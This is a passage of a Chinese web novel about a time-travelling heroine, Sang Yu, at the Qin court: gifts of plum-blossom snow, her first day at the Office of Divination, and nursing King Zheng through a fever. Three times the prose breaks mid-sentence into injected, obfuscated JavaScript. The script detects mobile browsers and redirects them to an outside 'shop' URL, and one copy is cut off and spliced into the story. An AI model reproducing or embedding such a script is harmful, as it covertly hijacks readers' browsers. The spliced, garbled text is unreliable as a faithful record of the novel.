“这么冷的天,他的脚上居然穿着一双草鞋。”椿儿只是想想,都替他觉得冷,遂大为同情地道,“真是个可怜人,想必是听闻了阿姊的盛名,想到阿姊面前来讨一口饭吃。” “嗯,的确怪可怜的。”桑语随口应着,脑海里忽然冒出“以裘褐为衣,以跂蹻为服”这十个字,她的脚步停了下来,“草鞋?椿儿,你确定没有看错?” “那般奇怪之人,我不会看错的。他脚上穿着的,确是草鞋。而他身上穿着的,是件粗布衣裳。” 桑语听得眉头紧皱。 墨家的人?来找她做甚? 但愿不是什么坏事。 她叮嘱椿儿,“若是再有什么穿草鞋的人,你就将他请进来。不要怠慢了,也不必太过于热情。” 椿儿点头说“是”。 就在这时,响起了敲门声,有访客登门。 寺人巽进门行礼,手中捧着一个粉白色的小陶罐。 桑语招呼他进屋,吩咐迟迟上了热茶。“这么晚了,君上是有什么急事吗?” 寺人巽笑着指了指搁在案上的陶罐,“君上让臣将它送来。” “这是什么?”桑语小心地捧起陶罐,轻轻揭开盖子。 “梅花蕊上雪,”寺人巽道,“今日日落之时,君上亲手从梅花上收集了这些碎雪。君上说,今日雪明日茶,雪花的生命因此有了延续。” 桑语低垂着眼眸,凝视着陶罐中的碎雪。她的心头涌起一种温情,这令她很是不安。 “请帮我向君上转达谢意。”桑语使自己的声音平稳,“有件事儿,还麻烦您替我问问君上。这都已经过去大半个月了,我究竟何时才能去太卜署报到?” “山主的话,臣一定禀告君上。”寺人巽稍顿了顿,“蒙家军接连告捷,君上于军务倥偬之际,一时无暇及此,还望山主莫要忧心。蒙老将军即将回朝,君上终于可以得空休息。想来,山主赴任之事,应该已经快了。” 寺人巽告辞后,桑语低头沉默了半晌,对椿儿说道,“拿我的剑来。” 椿儿脸色骤然一白,“阿姊要剑做甚?又有杀手侵袭?” 桑语解释道:“我需要挖一个坑,来埋这罐雪。我们这里又没有铲子什么的,当然只能用剑啰。” 椿儿吐了吐舌,转身跑入里间。 这个小院中,也有一株梅花树。花开得不错,但没有章台宫中的梅花开得那般繁多。 三人合力挖了一个比较深的土坑,桑语小心地将陶罐埋在树根底下,然后将原土复位,双手用力地将其拍平。她刚一抬头,就看到椿儿和迟迟正挤眉弄眼。 “怎么?你俩眼睛抽风了?” 椿儿与桑语更熟悉,敢说玩笑话。“虽说秦王为人强狠,但是他生得仪表堂堂。如此相貌,如此身份,配我的阿姊,还是勉强可以的。” 桑语很是无语地眯缝着眼睛看着椿儿,“你这联想能力挺丰富的,要不我教教你写话本子吧,直接领先明清上千年!” 椿儿虽然并未完全理解桑语的意思,但能够听出其中带有的调侃之色。她并不以为意,反而笑了笑,朝桑语靠近了一步,“阿姊,你不要有太多的顾虑,只需顺从己心!只要是你的选择,我们都会无条件地支持你!” “椿儿!”桑语伸手点点她的额间,“好了,就此打住吧。不过是一罐碎雪,你再这么联想下去,我孩子的名字,你都得替我想好了。” 椿儿摆出一副认错的模样,嘴上依旧嘟囔道:“先准备着,也不是不可以嘛。” 桑语抬手作势要揍她,椿儿连忙躲到迟迟的身后。 “阿,阿姊,”迟迟鼓起勇气说道,“我入宫为奴,已有六七载了。君上向来不问风月,今日却突然送来这罐梅雪。阿姊,你细想想。” 桑语眼眸沉了一瞬,“你们这两个半大的孩子,懂得啥子嘛!”她赶她们回房,“快去睡觉吧!今儿阿九该回了,我在这里等她,你们赶紧去睡觉!” 院中归于寂静,桑语坐在树根上,用布擦拭着剑身。她仰头向天,寻找着月亮。偏巧今天又是下弦月,又是一片朦胧的银辉。 月光游走在宫殿的屋脊上,间或跳跃在宫人的肩头。宫人脚步匆匆,进殿禀告道:“君上,上卿甘罗求见君上。” 秦王政从案牍中抬起头来,有些欣喜:“快请他进殿!” 须臾之后,殿门再次被打开。 “寒冬的风,还真是刺骨啊。”甘罗一面说着,一面走至大案前,跪下行礼,“君上,臣回来了!” 秦王政见到老友,神情也松懈了几分。 甘罗是甘茂之孙,自幼能言善辩。他十二岁出使赵国,舌战赵国君臣,最终使得赵王割五城与秦国。甘罗因此功而官拜上卿,位同丞相。然而在如日中天的时候,他呈上了辞官书,请求归隐林泉。 秦王政驳回了他的辞呈,但是允许他随心而为。 甘罗上书请求回下蔡去祭祀祖先,一去就是半年。除了偶尔的问安奏章,几乎是杳无音信。 秦王政扫了眼他身上的狐裘,命宫人添炭,好让火盆烧得更旺些。 “甘卿这一路上,是否有什么稀奇的见闻。” 甘罗在离秦王政半丈处的软垫坐下,“最是稀奇的,当属是亲眼见到了春申君仓皇逃回楚国。” 秦王政哼笑了一声,“倒是一桩极妙之事。” “君上,还有一件有趣的事儿,只不过并非是路上的见闻,而是臣今日在咸阳城中亲眼所见。” “哦?说来听听!” “此事,与那位玄女山山主有关。”甘罗略顿,“在回咸阳的路上,臣偶闻游商走贩的闲谈,说是君上不仅将那位山主请下了山,还给她封了官。” 秦王政忍不住掩袖低咳了几声,轻啜了口热茶,“如今,她已经是秦国的太卜丞。” “太卜丞?”甘罗沉吟片刻,微微一笑,“倒是挺合适的。” “是李斯提议的。” 听到李斯的名字,甘罗信口说起一件小事:“臣此行带回了一些楚地的橙橘,准备敬献给君上和相邦。” “甘卿有心了。”秦王政将话题转了回来,“回咸阳之后,你去了何处?” 甘罗仔细回想了一番,将适才所见细细对秦王政说了。末了,他由衷地评价道:“桑山主,颇有名家之风。” 先秦名家,是诡辩的专家。从“白马非马”到“子非鱼”,这是一群优秀的杠精的故事,他们杠得有理有据,杠得千古流芳。 “桑语的辩论之术,并不高明。但,贵在‘敢’!她在阐述她的观点时,那咄咄逼人和寸步不让的架势,足以扰乱对方的心神。”秦王政说着,唇边漾出一丝笑意,“可惜你没有早些回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163465|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,错过了她关于‘百家’的论议。苍鹘被她说得气急,扬言要杀她以正国威。” “苍鹘?”甘罗难得爽朗地笑了,“适才在商坊,苍鹘正与桑山主一同饮茶呢。看来,是握手言和了。” 他若有所思地点着头说,“若是能与这位山主坐而论道一场,想必是一件很有趣的事。” “等你们将来见了面,或许会有这么一刻。寡人……也很期待。” 甘罗理了理狐裘皱褶,声音低了许多,“这样的人,不好用。” 秦王政默然了片刻,“好剑,谁都想得到。至于,用或不用,如何用,都是后话了。” 他抽出一卷竹简,递与甘罗。 甘罗仔细地看完,是蒙骜派遣斥候送回咸阳的战报。 “蒙骜大军并未围困大梁,君上是防着赵国?” 秦王政颔首,“赵国,始终是秦之劲敌。” “唉!”甘罗低叹一声,“有李牧在,则无亡赵之日。” 这是一件事实,也是灭赵路上最难以渡越的鸿沟。如今的东方六国中,唯一能与秦军抗衡的大将,唯有李牧一人。李牧常年率兵在长城一带严防死守,打得匈奴人不敢靠近赵国边城,在民众心中有着极高的威望。 关于他的重要性,一言以蔽之:李牧生,赵国存;李牧死,则赵国亡。 秦王政道:“那日在章台宫设宴,相邦来迟,是因为面见了一人。” “从赵国来的?”甘罗笑问,“商贾?赵臣?抑或是哪位君子的门客?” “赵臣。” 甘罗不再多问了,“在酒肆中胡言乱语的那人,臣已经命人在暗中盯着他了。不知君上是否有吩咐?” “你办事,寡人向来放心。” 甘罗心里有一件事纠结,从踏入章台宫的那一刻就开始纠结了。终于,他粲然一笑,开口说道:“请君上代臣向公主问好。” “寡人代你向公主问好?”秦王政带些揶揄的语气,“甘卿,是害怕见到她么?” 甘罗老实地点头承认。 长公主嬴嫒,那是位爽朗活泼的女子。她曾经央求甘罗带她去楚地。甘罗不敢同意,她就耍性子闹脾气,以至于他只能偷偷地连夜溜走。 秦王政笑道,“甘罗啊,躲是躲不过的。等她回了咸阳,你不见她,她自去见你。” “公主还未回咸阳?太后不是已经回来了吗?” “回到咸阳城的,是寡人的母后。太王太后,夏太后都还未回。”秦王政说着,眼底浮出些许担心,“夏太后病了,病得很重,受不了舟车之苦。成蟜和嬴嫒,悉在侍疾。” 话音未落,殿门轻轻发出一声微响,随即缓缓开启。寺人巽的身影出现在门口,秦王政的目光瞬间投向了寺人巽,“她收下了吗?” 寺人巽垂首回答,“回君上,山主让臣替她转达谢意。山主还让臣问君上,她何时才能去太卜署……去太卜署……报到。”他努力地重复出桑语的原话。 秦王政听了,思忖片刻,“巽,传寡人口谕,让太卜署做好准备,桑语明日便可赴任。” 天上寒星点点,冷月下,栉比鳞次的民居黑魆魆地矗立着。桑语在屋顶坐久了,腰有些发酸,遂一跃而下,双脚稳稳地落在了院子里。 实在无聊,她找了根树枝,在泥地里胡乱地画着。 不知过了多久,阿九的声音陡然在她耳畔响起,“阿姊,你在画什么?” 桑语直起腰来,借着微弱的烛光,看向自己的杰作。 这是一副简易版的世界地图,线条和形状虽不完美,但却足以辨认出各大洲的轮廓。 12. 太卜 “没什么,”桑语用脚划拉了几下,将地上的地图痕迹销毁,“到那边亭下去说话吧。” 踏入亭中,桑语轻轻地拂去石凳上的落叶,抒袖坐下。她直接切入正题:“大家都还好吗?” “他们都很好,特意托我向阿姊问好,让阿姊勿挂念。”阿九从怀中拿出一封布书,“姜先生,他离开了。” “姜辂?他怎么悄无声息地离开了?”桑语的语气中带着几分惊讶和不满,她从阿九手中接过那封布书,靠近灯笼,橘黄色的灯光将文字照得清晰了。读着读着,不禁“嗤”地一声笑。 阿九瞧她这反应,好奇地问:“姜先生在信中说了些什么?” “他说,他要去修仙了,让我们不必想念他。要是修仙不成,他会自己回来的。噢,他还说,虽然他离开了,但是灵魂永远与我们同在。” 桑语用力地翻了个白眼。 她还刻意隐瞒了一部分内容:姜辂叮嘱她,无论何时都不要用暴力解决问题。 桑语和姜辂,可以说是始于患难。当初被拐上青龙山的,除了她,还有另一个倒霉蛋,那就是姜辂。 姜辂是个善良人,虽手无缚鸡之力,但总是试图用自己去保护桑语。彼时,桑语拍拍他的肩,低声说了句“闭眼”,下一瞬,匪首的脑袋骨碌骨碌地滚到了姜辂的脚边,吓得他尖叫一声后便昏厥过去。 青龙山里,不缺钱,也不缺武器,但是有一物是遍寻不得的,那就是书籍。 桑语带着酒去找姜辂,从他的话里套出了他的身世。这是个可怜的书生,无父无母,家产还被贪婪的亲戚霸占了。 姜辂原本是想下山的,却被桑语留在了山上做“教书先生”。当然,这个挽留的过程,不免夹杂着些许“先礼后兵”的手段。 姜辂长得斯文白净,会削木头做各种玩具,而且极擅于修农具。只是有一点比较奇怪,他死活不愿意住在山寨里,说什么夜里容易做噩梦,所以两年来一直居住在后山的洞穴中。 在前往咸阳城的前夜,桑语带着美酒和烧鸡前往后山寻找姜辂。夜色温柔,星光如泼墨般洒在山间,姜辂坐在一块平坦的大石上,一边大口啃着烧鸡,一边哀嚎。 桑语在寒风中无语地伫立了良久,原本准备交代的重要话语被姜辂的哀嚎声所打断。终于忍无可忍,她迈步上前,一把扯下鸡腿,动作干脆利落地塞进了他的嘴里。 姜辂的哀嚎声顿时戛然而止,四周终于清净了许多。 桑语将布书重新卷好,“原本就是我执意留下他的,如今他想要离开,也是无可厚非之事。只是姜兄一走,就没有人能够教山民们读书识字了。” 她拧着眉沉思片刻,“阿九,你给阿五传个信。姜先生虽然不在,但学堂不可荒废。你二人聪慧,跟着姜先生学得的东西也不少了,暂时就让阿五先负责教课吧。至于以后怎么样,再看吧。” 阿九点头应允,“是,阿姊。” 桑语缓缓吐出一口气,“山上还有什么事吗?” “秦军一直驻扎在山脚,目前还算相安无事。” “无事便好。七国之中,有没有发现什么可疑的人物?” 阿九摇头,“阿姊,对不起,是我们办事不力。” “这哪能怪你们,这件事本来就太荒谬了!”桑语的声音越来越低,最后几个字几不可闻。 前日里,她听说吕不韦将《吕氏春秋》公布于城门,悬赏千金求“一字之师”。于是她也动起了念头,若是将“宫廷玉液酒”或者“奇变偶不变”张贴在咸阳城的城门之上,同样悬赏千金,寻人的效率会不会大大提升? 不过她很快就放弃了这个想法,且不说她根本拿不出“千金”,寻人的事情一直是在秘密进行的,就连玄女山上也鲜有人知道。她一直担心若是大张旗鼓,恐会打草惊蛇,反而让那个人刻意将自己隐藏起来。 她之所以自己这般高调,一是因为她所做的事情本身就足够高调,二是出于她始终抱着“我不向山走去,山便向我走来”的想法。毕竟,主动现身与被迫现身,当事人的心里感受是完全不同的。 桑语抬头望了眼天空,“信鸽训练得怎样了?” 阿九答道:“已经训练好了。阿姊要的纸,阿五已经准备了不少。” “好,造纸之术……” “阿姊放心,只有我们三人知道。” 桑语赞许地点了点头,“给阿五的信,就由信鸽来送吧,你不必再亲自去了。对了,让阿五挑选几个人,往濮阳去一趟。” “濮阳?那不是卫国国都吗?”阿九有些疑惑。 “还记得我提过的那个卫女,采采吗?” 阿九的面容瞬间变得严肃,“我明白了,阿姊。若是有寻求帮助的卫人,玄女山必定不会坐视不管。” 桑语应了一声“嗯”,“你一路辛苦了,快去休息吧。” “阿姊不休息吗?” “我不困,还想再坐会儿。” 阿九回房拿了一件厚衣给桑语披上,这才关上门休息去了。 灯笼里的蜡烛燃得只剩下底了,四周的光线随之渐渐消逝。桑语闭目靠在石桌旁,黑夜将梅花香变得浓烈了。 翌日黎明,一辆轺车在太卜署门前停下。这是咸阳城里最高的高楼,楼分五层,巍峨壮观。 桑语从车中走下,抖抖袍袖,扶了扶脑袋上的官帽。她清了清嗓,背着手,大步地走入太卜署。 迎接她的,是一个板着脸的男人,还有男人手中捧着的龟甲。 这是……“入门”考试? 可是她与乌龟之间,一直是食物链的关系,从来没有想过会成为事业上的拍档。 桑语正腹诽,那男子开口了:“桑山主既然担任了太卜丞一职,在其位谋其事,就请展示您的卜筮之术吧。” 他将手往前伸了伸,桑语低头看了一眼刻在龟甲上的文字,极为果断地摇了摇头,“抱歉,我不会。” 她理直气壮得让人一时语塞。 “要是您觉得我不配担任‘太卜丞’这个职位,噢不,不是您觉得,是我的确不配。”桑语扫视了一圈围观看热闹的官吏们,“的确,尸位素餐的家伙,太惹人反感了。但这是君命,我不好拒绝,想必你们应该也感到为难。我虽然不会卜筮之术,永远不会算出明天是否有雨,但是请你们相信我,我愿意并能够学习。” 话音刚落,有老者的笑声徐徐传来。桑语侧头一看,瞧见一位白胡子老头慢慢走来。 她的眼睛惊诧地睁大了,几乎要脱口而出“怪老头”三个字。 在这世间,怎会有如此相似的两张面孔?差别仅在胡须的长度,他们的容貌几乎如同复制粘贴。 不,不对,不是一个世界,这是两个时空。要不是桑语知道怪老头不具备穿越时空的身体素质,那么她肯定会误以为他跑来秦国监工了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“日月角高圆明净,令尊令慈皆长寿康宁。师者如父母,尊师自然亦是如此。”老太卜深深地望向桑语,“山主对长寿似乎并无渴求之心。” 桑语摇摇头,“这世上,无人不渴望长寿。尤其是那些已经走向衰老的人,皱纹让他们比以往任何时候都畏惧死亡。可是,如果一个人活得孤单而苦涩,或许他的人生已经没有继续的必要了。” “杨朱为贵生之士,山主身为杨朱的再传弟子,思想竟与他大相径庭。” “以讹传讹了不是!”桑语无奈地摊手,“吾师只是欣赏杨朱,并非是杨朱学派的传人。太卜大人,那日章台宫的筵席,您是不是没有去?” “老夫年老体衰,去不得人多闹腾的场合。” 这样也就能说得通了,桑语深深地作了一拜,“受禄之人,应当靖共尔位。晚辈对卜筮之术确属外行,但是我可以学!恳请前辈不吝赐教,多加提携。” 老太卜闻言,转身走入里屋,很快又拿着一支鸡毛掸子走了出来,“去吧,浮尘也需要人打扫。” 桑语有些怔愣,手已经将鸡毛掸子接了过来。她打了个喷嚏,揉着鼻子道:“需要打扫哪层楼?” 老太卜举起一只手,晃了晃。 五层楼?! 桑语险些翻了白眼儿,咬着牙道:“没问题!包我身上了!”她刚转身,脑袋“砰”一下撞到木架的边缘。 13. 宗祠 桑语干活干得特别卖力,不仅扫净了浮尘,“顺便”擦拭了地板和墙面。 太卜署的官吏们无不侧目:这位传闻中的玄女山山主,当真是……随和啊! 有人试图“抢活”,却都被桑语拒绝了。 散值的时候,天已暗了下来。桑语洗净了手,准备回家去。刚出了太卜署,一眼就看见了总是笑容满面的寺人巽。他没有穿寺人的衣裳,只是一身灰色的长袍。 桑语走上前去,寺人巽揖手行礼,“桑太卜初次就任,一切可还习惯?” “多谢宦者令关心,一切都还好!” 寺人巽察觉到了她声音里的疲惫,不再多寒暄。他命人放下踏脚用的台阶,“您上车吧,君上有请!” 太卜署的五楼,是咸阳城中最高之处。老太卜常于窗外夜观星相,此时他沉默地伫立着,看向楼下正在说话的二人。他的身后,站着一个男子,正是白日里拦住桑语问卜筮之术的那人。 男子看看桑语,再看看寺人巽,眼中有些担忧。“师父,若是君上知道了,会不会生气?” “他若是想生气,就生气吧。憋着,容易伤身。”老太卜一幅无所谓的模样,语调轻描淡写。 男子微微皱眉,似乎还是有些不解:“师父,打扫五层楼,的确是有些多了。这岂不是故意为难人?” 老太卜回身看了他一眼,“我的意思,是让她打扫五楼而已。她自己领会错了,以为是打扫五层楼。” “啊?”男子诧异地问,“您为何不告诉她?” “她既然没有喊累,老夫怎么忍心打断她呢!” 男子向来一板一眼的脸上写满了无奈。他深知师父的脾性,他也明白师父这么做,必有其深意。 “我太卜署供不起祖宗,”老太卜幽幽地说道:“如今看来,桑山主的为人的确和传闻中的一致。” 男子适时地轻声问道:“师父似乎有什么难言之隐?” 老太卜捋着白须,眯起了双眸,“贵人之相,却可惜呐,是异世之人。” “异世之人?”男子惊了一跳,“难道,市井间的传闻属实?桑山主……真的是玄女再世?” “这倒不至于,亦是一介凡人而已。”老太卜看向王城的方向,“凡人之躯,如何挽狂澜于既倒?” 他轻喟了一声,“终究要离去,何苦惹尘埃!” 桑语站在轺车前,愣愣地仰头看了许久,然后低头问寺人巽,“君上真的召我到此地?会不会是您听错了?” 如果她没有认错字的话,耸立在她面前的建筑,正是秦国的宗祠。 寺人巽非常肯定地点点头。 桑语深深吸了口气,迈步走了进去。宗祠中供奉着数座黑木牌位,肃穆而又悲壮。秦王政一袭玄衣,挺立于跳跃的烛火之间。 桑语缓缓走到他身后站定,轻声说道:“君上召见,不知有何旨意?” 秦王政转过身来,“山主……” “君上!”桑语笑吟吟地打断他的话,“既然我如今受命于君上,君上不必再以旧时之称呼。我师父一直唤我为‘阿桑’,君上若是不嫌弃,日后也如此称呼吧。” “好!阿桑!”秦王政的唇角带着一丝极其细微的笑,“这身衣裳,合身吗?” 桑语抖了抖袍袖,“刚刚好。” “公事繁忙吗?”秦王政问道,他的目光落在她那张泛着红润的脸颊上。 “多谢君上关心!太卜大人意在让我熟悉熟悉环境,我就将太卜署上上下下打扫了一番!” “打扫?”秦王政眼睫一敛:“这是太卜令的意思?” 桑语摇摇头,“太卜令只是让我掸扫,拂去浮尘。这是一件很有深意的事情。是我自告奋勇,多增添了一些打扫的任务。” “你是秦国的客人,干这些粗活,实在是委屈你了。” “什么粗活细活的!以前的青龙山靠打家劫舍为生,自打我成为山主,总想着寻个谋生的方法,否则大家迟早得喝西北风去。所以我们在山林间开垦了许多良田,种上大豆……” 说着,戛然而止。桑语陡然意识到自己可能说错话了,遂小心地问道,“私自开垦荒地,违反秦法么?” 秦王政扬眉反问:“寡人若说此举违反了秦法,你会如何处之?” 桑语低头认真地想了想,“罚钱可以,那几块地还得由我们玄女山种着。” “商君开阡陌封疆,黔首可以开垦荒地。此举无错无过,只是,需纳赋税。” 桑语袖子一挥,“回头补上,我们一定补上!”她突然想起了白日里的疑问,便开口问道:“君上,邹衍是何人啊?” 秦王政愕然地望了她一眼。她的眼中一片茫然,似乎是真的不知道。 “太卜令向你提起了邹衍?” “嗯,他说邹衍是他的师父。” “邹衍,齐人,阴阳家,主张‘五德始终说’和‘大九州说’。”秦王政简洁地介绍道。 桑语这么一听,忽然想起师父曾经提及过此人。只是当时她忙着逗猫,听得并不认真。 司马迁在《史记》中把邹衍列于稷下诸子之首,称“驺衍之术,迂大而宏辨”。邹衍在战国时期具有极高的声望,梁惠王亲自出城迎接,燕昭王亲自拿扫帚为他清扫道路……行至各国,皆是受到上等的礼待。 难怪,画中之人会有着那样睥睨万物的神色。也难怪,老太卜的语气会充满了骄傲。 从窗缝钻进来的风吹得烛火摇动,桑语觑着眼极力地辨认着黑木牌位上面的字。 她先前系统地学习过战国的文字,但是认读起来还是感到有些吃力。她忽然想起了“秦简”,那是她的“教材”。 将眼前所见与记忆相比对,陡然生了几分感慨——花开花落几春秋,秦简上的文字却永远不灭。 殿内供奉着的,是秦国的历代君主。从秦非子始,共有三十七位君主。 滴水穿石,非一日之功。正是在这三十七位君主的接力之下,华夏大地踏上了一条由秦国为主导的“统一之路”。 其实,随着兼并战争愈演愈烈,“天下一统”早已成为了有志之士的共同心声。孟子说“定于一”,墨子的政治梦想是“尚同”,荀子提出“一天下”……… 理论依据已经非常成熟,又兼之有秦国先王们留下的雄兵猛将。只要有嬴姓宗亲撑腰,哪怕王位上坐着的是成蟜,秦国都可能会实现“统一六国”的历史使命。 成蟜或许会是个听话的君王,但是不一定会重用李斯等人。那么,就不会有“郡县制”的施行,更不会出现一个文化高度统一的民族。 历史的选择,挺有深意的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163467|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起了成蟜,桑语问道:“卫人行刺之事,君上查到了幕后主使者是谁吗?” 秦王政摇头,“追查到了的,都死了。就算查出了,除了令自己不悦,又能如何呢?不如不查,不如不问……” 他眯起了眼睛,眼中冷光闪烁。 桑语眼眸垂了一下,又抬眼看他,“君上怎么到宗祠来了?今日好像不是什么大日子。” “有些好消息,寡人想要来告诉先祖们。”秦王政面容沉肃,“东方各国,再无合纵。” “楚国呢,楚国如今如何了?”桑语问罢,自己都觉得莫名其妙。 “楚国迁都至寿春。黄歇将受封于考烈王的淮北之地十二县,献还给了楚国,以作寿春的屏障。” 听了秦王政的话,桑语啧啧了两声。打不赢就跑,换个地方继续躲着,这种局面对于一个曾经的中原强国来说,是怪丢人的。 秦王政眼神沉沉地看着桑语,欲言又止,终是缓缓地开口,“明年开春,魏国会送一女子入咸阳,乃是魏公子信陵君之女。” 他的目光紧紧盯住了桑语,不错过她神情的细微变化。她的眉蹙拢了,他心里莫名高兴。须臾之后,桑语不由自主地,发出了一声叹息,“魏乃败战之国,送一美人来,是为了赔罪么?可是,信陵君不是去年才去世吗?” 三年孝期未过就办红事?这简直太侮辱人了!更何况,信陵君曾经是合纵抗秦的中流砥柱。如今他尸骨未寒,魏王就这么巴巴地将他的女儿送到秦国来。真不知道是蠢,还是坏! 历史上的求和手段,无非是割地、岁币、和亲、质子、称臣。 君王无能,而使民众沦落于苦难中。 可怜十几岁的少女,被迫背负起沉重的历史责任,成为了被牺牲的草芥。 桑语再次无意识地叹出一口气。 这才是真正让她蹙眉的原因?是为大义,而非私情。 秦王政莫名有些失落。 桑语犹豫片刻,终于还是问道:“君上召我前来,究竟所为何事?” “并无什么事,”秦王政眼神移向别处,声音有些不自然,“寡人,只是突然,想与你说说话。”他说话时鼻音很重,显得有些沙哑。 桑语垂下眼帘,又抬起,始终不敢看向少年人的眼睛。 “君上既然无事,那我就告辞了。折腾了一天,我想回家休息了。” 秦王政默了一瞬,微微转过身去,“你回去歇息罢,寡人就不送了。” 桑语并未注意到秦王政脸色的异样。就在她转身的瞬间,秦王政感到自己的身体摇晃了几下,霎那,黑暗向他席卷而来。 桑语听到身后的异响,转过身来,便见到了秦王政昏倒在地的场景。她大惊,急急地唤了声“君上”,连忙上前查看。见秦王政双目紧闭,她伸手触摸他的额头,果然体温异常地高。 桑语只得高声将寺人巽唤了进来。 寺人巽闻声而入,见到这幅场景,也是一脸的惊慌。“这……这是怎么了?” 他连忙蹲下身子,示意桑语将秦王政扶到他的背上。 桑语却迟迟未有行动,她瞪着寺人巽问道:“应该是温病,不必太惊慌。我问你个问题,你得据实回答。” 寺人巽郑重地点了点头。 “君上生病之事,有几人知道?” 14. 雪夜 “君上特别吩咐过,不得让旁人得知此事。” 言外之意就是,知晓秦王政生病之事的人寥寥无几。纵有疑虑,也只能深藏心底,不敢妄加揣测。 桑语暂且按下心头的猜测,“巽,你去将宗祠门口的宫灯全部灭掉。还有,将轺车驶近些。” 寺人巽领命而去,步履匆匆。 桑语沉沉地吸了口气,小心地扶起秦王政。她绕过他的胳膊,让他的手臂搭在自己的肩上,然后她用另一只手扶住他的腰。秦王政的身躯几乎全压在她身上,她脚下一个踉跄,瞬间重新凝聚起全身力量,稳稳地向外走去。 宗祠门外,原本彻夜通明的宫灯已然尽数熄灭了,使得四周笼罩在了一片昏暗之中。此处的甲士并不在少数,然而在君王面前,无人敢抬头窥探。他们只低着头,未曾察觉到君王的异样,只有少数好奇心重者在心中暗自嘀咕。 终于,桑语扶着秦王政走到了轺车旁。寺人巽早已等候在此,适时伸手相扶。这一切,都在无声无息中悄然完成,如同一场秘密的夜行。 桑语甩了甩有些发酸的手臂,与寺人巽协力将秦王政扶入车中。随着车轮缓缓滚动,她靠在软垫上,深深呼出一口浊气。目光投向秦王政,从窗外漫进来的月光洒在他脸上,更显其脸色苍白如纸。 车行得急,难免有些颠簸。二人身不由己地晃动,桑语顿时成了秦王政的肉垫。她本欲推开他,却听其痛苦的喘息声,心中一软,手劲便松了。原本欲推的手,转而稳住他的头颅,让他可以更舒适地倚靠在自己肩上。 终于,轺车平稳地停了下来,寺人巽的声音穿过车帘,“君上,太卜丞,请下车吧。” 桑语抬手撩起车帘看了眼,终于回了章台宫。她轻声唤道:“君上?”然无回应,便提高声音:“君上累了,已经睡着了。来个人,扶君上下车吧。” 寺人巽躬身掀开帘子,桑语被外面的火把光芒刺得眼眸一眯,耳畔却听得有人在说“多谢桑山主”。 这声音颇为耳熟,桑语睁眼一瞧,原来是蒙毅。 蒙毅小心翼翼地将秦王政从车中扶出,安置于步辇之上。 桑语自认已经圆满完成了任务,正欲吩咐轺车送她回去,蒙毅却再度转身,走至车旁,“山主,能否留下?” 语气里毫不掩饰的恳求,让桑语一时不知如何拒绝。她往步辇方向看了一眼,扭头向寺人巽说道,“既然君上欲与我探讨杨朱之学,我便留下。烦请您遣人走一趟,告知吾友,不必再等我回去了。” 寺人巽拱手应“诺”,遂将此事交待予一小宦。 桑语徐步下车,紧随步辇之后。 步辇被径直抬入寝殿,蒙毅挥手让众人退下,将秦王政扶至榻上。秦王政发着高烧,脸色却始终是苍白的,唯双颊微现红晕。 桑语问道:“去请太医了吗?” “已经让人去请太医令了,”蒙毅回答道,“今日非其当值,恐需稍待。” “既然这样,”桑语微抿了抿唇,“得先为病人物理降温,烧得多难受啊。” 蒙毅和寺人巽对视一眼,后者恍然大悟,“山主之意,莫非需用凉水?” 桑语颔首,“有冰吗?” “有!臣现在就去冰室里取!” 寺人巽急匆匆地转身就走,桑语喊住他,“倒也不必舍近求远,我刚刚好像看见殿外还有不少的余雪,用爵杯装些干净的雪,应该就可以了。” 不等她的话说完,寺人巽已经出门去了。半盏茶功夫不到,他就捧着几爵白雪回来了。 桑语用手帕裹了雪,敷在秦王政发烫的前额上。雪融得很快,她不得不又用一条干帕子擦拭着他的脸颊。 他发着呓语,甚至不住地挣扎着,似乎是被梦魇缠住了。 桑语终于还是忍不住问道:“人是血肉之躯,生病是件很正常的事,君上何苦要隐瞒呢?” 二人皆沉默良久,蒙毅神色凝重地解释,“孝文王,庄襄王,皆是因病而逝。身体羸弱的君王,秦室宗亲们,或许会生反对之心。” 桑语听完,同样沉默。 这样的互相不信任,似乎都没有错。她知道秦王政一时半会儿死不了,但是秦王政不知道,秦室宗亲们也不会知道。 她至今没有亲眼见过成蟜本人。但是可以想象,出生于秦宫,长于秦宫,他从未经历过任何苦难,没有挨过饿,更别提挨打了。成蟜的身体素质,或许要比秦王政强上许多。 秦王政此时王位不稳,在他的认知里,不允许自己有任何被质疑的地方,纵使其中沉淀着痛苦。 桑语拿开了滴着水的帕子,换上新的凉帕子。 这时,两道身影伴随门扉响动的回声,一前一后地映入眼帘。走在前面的老者,银丝满头,身着一袭青色长袍,急促的步伐虽显出急迫,却宛如疾风中的柳枝,不显一丝慌乱。紧随其后的是一位稚气未脱的少年,年岁看似尚未满十五,瘦弱的肩上背负着一个医药箱。 老者径直走向病榻,用指尖开始把脉。蒙毅和寺人巽的目光紧紧地锁定在他的脸上,室内的熏香似乎也凝重了几分。 须臾过后,老者收回把脉的手,“君上脉象浮数,体内有热邪,正是发热之症。”目光似有似无地从桑语身上扫过,“冷敷得及时,病情不会传变。” 